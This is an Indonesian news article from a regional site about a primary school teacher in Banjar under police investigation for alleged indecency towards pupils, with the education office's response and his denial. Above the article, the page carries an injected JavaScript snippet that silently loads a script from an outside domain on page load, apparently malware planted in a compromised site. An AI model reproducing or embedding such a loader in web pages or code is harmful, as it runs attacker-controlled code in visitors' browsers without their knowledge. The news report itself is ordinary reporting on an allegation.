(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pendidikan

Dituding Asusila, Oknum Guru M Diadukan ke Polisi


MARTAPURA, Proses hukum kasus dugaan tindak asusila yang dilakukan M (57), seorang guru di SDN Jati 1, Kecamatan Astambul terhadap sejumlah murid masih berlanjut di Satuan Reserse dan Kriminal Polres Banjar.

Menunggu hasil penyelidikan pihak kepolisian itu, Gusti Ruspan Noor, Kepala Dinas Pendidikan (Disdik) Kabupaten Banjar mengatakan, saat ini telah diurus pemindahtugasan sementera guru yang bersangkutan ke salah satu SDN di Martapura Barat atau Sungai Tabuk.

Menurutnya, itu dilakukan lantaran masyarakat dan para orangtua murid, terutama yang anaknya diduga telah mendapatkan perlakukan tindak asusila meminta guru tidak lagi mengajar di SDN Jati 1 Astambul.

“Tidak dinonaktifkan, untuk sementara hanya dipindahtugaskan sampai dengan ada hasil dari penyelidikan polisi. Karena kasus ini sendiri sudah dilaporkan sejumlah orangtua murid ke pihak kepolisian,” kata Ruspan Noor, Senin (9/10).

Tentang kebenaran atas tudingan tersebut, Ruspan Noor tak ingin memutuskan sepihak. Terlebih saat ini kasusnya sudah ditangani pihak berwajib. Namun menurutnya, berdasarkan pengakuan guru yang bersangkutan saat dipanggil dan dimintai keterangannya, dirinya tidak melakukan tindakan asusila, meraba atau memegang sampai bagian alat vital seperti yang dituduhkan sejumlah orangtua murid.

Dari ketererangan yang bersangkutan pula, lanjutnya, tindakan memegang beberapa murid perempuan kelas tiga, semata dilakukan sebagai bentuk kasih sayangnya kepada murid-muridnya yang sudah dianggap layaknya anak sendiri.]

“Berdasarkan keterangan yang bersangkutan saat kami mintai keterangan demikian,” katanya.

Sementara itu, Kasatreskrim Polres Banjar AKP Sofyan mengaku saat ini pihaknya terus melakukan penyelidikan atas dugaan tindakan asusila tersebut. Termasuk mengumpulkan keterangan dari beberapa pihak dan alat bukti atas laporan tersebut.

“Saat ini masih tahap lidik karena kasus ini merupakan delik aduan dari beberapa orangtua murid yang mengaku anaknya mendapatkan tindakan asusila yang dilakukan oknum guru tersebut,” uajr AKP Sofyan. (rudiyanto)


Desy Arfianty

Recent Posts

Soal Opsen Pajak Kendaraan 2025, Pemprov Kalsel Berikan Insentif Selama 6 Bulan

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) H Muhidin merespon kebijakan pemerintah pusat terkait Opsen… Read More

1 jam ago

Ada Panel Surya 3.000 Watt di SMPN 11 Banjarbaru

Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More

4 jam ago

Peringati HKN ke-60, Dinkes HSU Luncurkan Integritas Layanan Primer

KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten  Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More

6 jam ago

Indonesian Hypnosis Centre Kukuhkan Tokoh-Tokoh Ternama Menjadi Instruktur Hipnosis

KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More

6 jam ago

Aksesoris Perayaan Natal di Banjarbaru Ramai Dicari

KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More

9 jam ago

Atlet HSU Raih 1 Emas dan 4 Perunggu Kejurprov Taekwondo 2024

KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More

9 jam ago

This website uses cookies.